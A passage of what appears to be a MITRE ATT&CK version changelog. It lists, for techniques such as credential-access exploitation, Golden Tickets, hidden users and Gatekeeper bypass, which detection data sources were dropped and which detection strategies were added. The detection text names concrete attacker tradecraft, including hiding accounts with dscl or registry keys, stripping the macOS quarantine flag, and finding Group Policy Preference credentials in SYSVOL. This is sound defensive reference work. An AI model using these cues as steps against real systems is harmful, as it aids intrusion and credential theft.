x_mitre_detection	Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

[T1212] Exploitation for Credential Access

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0174: Detection Strategy for Exploitation for Credential Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Process: Process Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:30:06.288000+00:00	2025-10-24 17:49:08.674000+00:00
x_mitre_detection	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.

[T1211] Exploitation for Defense Evasion

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0595: Detection Strategy for Exploitation for Defense Evasion

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.778000+00:00	2025-10-24 17:49:39.960000+00:00
x_mitre_detection	Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.

[T1068] Exploitation for Privilege Escalation

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0514: Detection Strategy for Exploitation for Privilege Escalation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Driver: Driver Load', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:58.811000+00:00	2025-10-24 17:49:14.643000+00:00
x_mitre_detection	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.

[T1210] Exploitation of Remote Services

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0118: Exploitation of Remote Services – multi-platform lateral movement detection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:53.590000+00:00	2025-10-24 17:49:09.112000+00:00
x_mitre_detection	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.

[T1588.005] Obtain Capabilities: Exploits

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0827: Detection of Exploits

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:34:05.500000+00:00	2025-10-24 17:49:36.851000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1587.004] Develop Capabilities: Exploits

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0894: Detection of Exploits

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:33:51.026000+00:00	2025-10-24 17:49:17.967000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1564.014] Hide Artifacts: Extended Attributes

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0406: Detection Strategy for Extended Attributes Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Metadata', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:42.110000+00:00	2025-09-17 17:58:26.729000+00:00
external_references[1]['description']	kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.	Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.
x_mitre_attack_spec_version	3.2.0	3.3.0

[T1491.002] Defacement: External Defacement

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0590: Behavioral Detection of External Website Defacement across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:34:21.584000+00:00	2025-10-24 17:48:23.460000+00:00
x_mitre_detection	Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

[T1055.011] Process Injection: Extra Window Memory Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)

New Detections (Detection Strategies -> Technique):

DET0217: Detection Strategy for Extra Window Memory (EWM) Injection on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:45:37.275000+00:00	2025-10-24 17:48:19.059000+00:00
x_mitre_detection	Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)

[T1008] Fallback Channels

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0499: Behavioral Detection of Fallback or Alternate C2 Channels

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:21.879000+00:00	2025-10-24 17:49:35.854000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

[T1568.001] Dynamic Resolution: Fast Flux DNS

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0485: Detection Strategy for Dynamic Resolution using Fast Flux DNS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:09.378000+00:00	2025-10-24 17:48:33.501000+00:00
x_mitre_detection	In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.

[T1070.004] Indicator Removal: File Deletion

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Deletion)

New Detections (Detection Strategies -> Technique):

DET0140: Behavioral Detection of Malicious File Deletion

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:12.733000+00:00	2025-10-24 17:49:27.978000+00:00
x_mitre_detection	It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.

[T1083] File and Directory Discovery

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0370: Recursive Enumeration of Files and Directories Across Privilege Contexts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:44.118000+00:00	2025-10-24 17:49:00.036000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.

[T1222] File and Directory Permissions Modification

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0299: Multi-Platform File and Directory Permissions Modification Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:17.378000+00:00	2025-10-24 17:48:52.570000+00:00
x_mitre_detection	Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)

[T1592.003] Gather Victim Host Information: Firmware

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0818: Detection of Firmware

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:36:31.208000+00:00	2025-10-24 17:49:16.957000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1495] Firmware Corruption

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)

New Detections (Detection Strategies -> Technique):

DET0167: Firmware Modification via Flash Tool or Corrupted Firmware Upload

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firmware: Firmware Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.991000+00:00	2025-10-24 17:49:37.207000+00:00
x_mitre_detection	System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.

[T1606] Forge Web Credentials

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0006: Web Credential (Web Credential Creation)
DS0006: Web Credential (Web Credential Usage)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0260: Detection Strategy for Forged Web Credentials

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:37:02.111000+00:00	2025-10-24 17:49:07.201000+00:00
x_mitre_detection	Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.

[T1056.002] Input Capture: GUI Input Capture

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0521: Behavioral Detection of Spoofed GUI Credential Prompts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:37:16.582000+00:00	2025-10-24 17:49:10.643000+00:00
x_mitre_detection	Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.

[T1553.001] Subvert Trust Controls: Gatekeeper Bypass

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0288: Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:16.087000+00:00	2025-10-24 17:48:36.535000+00:00
x_mitre_detection	The removal of the `com.apple.quarantine` flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as `xattr`. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the `com.apple.quarantine` flag when performing updates. Review `false` values under the `LSFileQuarantineEnabled` entry in an application's `Info.plist` file (required by every application). `false` under `LSFileQuarantineEnabled` indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified `LSFileQuarantineEnabled` entry will default to not setting the quarantine flag. QuarantineEvents is a SQLite database containing a list of all files assigned the `com.apple.quarantine` attribute, located at `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)

[T1592] Gather Victim Host Information

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0826: Detection of Gather Victim Host Information

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:37:32.347000+00:00	2025-10-24 17:48:21.583000+00:00
x_mitre_detection	Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1589] Gather Victim Identity Information

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0841: Detection of Gather Victim Identity Information

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:37:47.951000+00:00	2025-10-24 17:48:47.303000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1590] Gather Victim Network Information

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0869: Detection of Gather Victim Network Information

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:38:13.461000+00:00	2025-10-24 17:49:08.938000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591] Gather Victim Org Information

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0890: Detection of Gather Victim Org Information

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:38:32.343000+00:00	2025-10-24 17:49:06.846000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1558.001] Steal or Forge Kerberos Tickets: Golden Ticket

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0026: Active Directory (Active Directory Credential Request)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0144: Detect Forged Kerberos Golden Tickets (T1558.001)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:07.443000+00:00	2025-10-24 17:48:58.155000+00:00
x_mitre_detection	Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.

[T1615] Group Policy Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Access)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0055: Detection strategy for Group Policy Discovery on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Script: Script Execution', 'Active Directory: Active Directory Object Access', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:38:54.812000+00:00	2025-10-24 17:48:28.148000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor for suspicious use of `gpresult`. Monitor for the use of PowerShell functions such as `Get-DomainGPO` and `Get-DomainGPOLocalGroup` and processes spawning with command-line arguments containing `GPOLocalGroup`. Monitor for abnormal LDAP queries with filters for `groupPolicyContainer` and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.

[T1484.001] Domain or Tenant Policy Modification: Group Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Creation)
DS0026: Active Directory (Active Directory Object Deletion)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0305: Detection of Group Policy Modifications via AD Object Changes and File Activity

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:34.774000+00:00	2025-10-24 17:48:50.475000+00:00
x_mitre_detection	It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created * Event ID 5138 - A directory service object was undeleted * Event ID 5139 - A directory service object was moved * Event ID 5141 - A directory service object was deleted GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).

[T1552.006] Unsecured Credentials: Group Policy Preferences

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0381: Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:39:12.196000+00:00	2025-10-24 17:49:05.282000+00:00
x_mitre_detection	Monitor for attempts to access SYSVOL that involve searching for XML files. Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)

[T1592.001] Gather Victim Host Information: Hardware

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0887: Detection of Hardware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:39:29.396000+00:00	2025-10-24 17:48:32.066000+00:00
x_mitre_detection	Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1200] Hardware Additions

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0016: Drive (Drive Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0069: Detect unauthorized or suspicious Hardware Additions (USB/Thunderbolt/Network)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Drive: Drive Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:11.434000+00:00	2025-10-24 17:49:26.803000+00:00
x_mitre_detection	Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.

[T1564.005] Hide Artifacts: Hidden File System

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0461: Detection Strategy for Hidden File System Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firmware: Firmware Modification', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:18.639000+00:00	2025-10-24 17:49:29.855000+00:00
x_mitre_detection	Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.

[T1564.002] Hide Artifacts: Hidden Users

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)
DS0002: User Account (User Account Metadata)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0353: Detection Strategy for Hidden User Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'User Account: User Account Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:39:51.186000+00:00	2025-10-24 17:49:05.113000+00:00
x_mitre_detection	Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList` key. In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the `Hide500Users` key value to `TRUE` in the `/Library/Preferences/com.apple.loginwindow` plist file. Monitor the command line for usage of the `dscl . create` command with the `IsHidden` attribute set to `1`.(Citation: Apple Support Hide a User Account)

[T1564] Hide Artifacts

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0002: User Account (User Account Creation)
DS0002: User Account (User Account Metadata)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0022: File (File Creation)
DS0022: File (File Metadata)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0502: Detection Strategy for Hidden Artifacts Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'Application Log: Application Log Content', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'Firmware: Firmware Modification', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution', 'User Account: User Account Creation', 'Process: OS API Execution', 'User Account: User Account Metadata', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:39:52.216000+00:00	2025-10-24 17:48:31.407000+00:00
x_mitre_detection	Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.

[T1574] Hijack Execution Flow

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0218: Detection Strategy for Hijack Execution Flow across OS platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
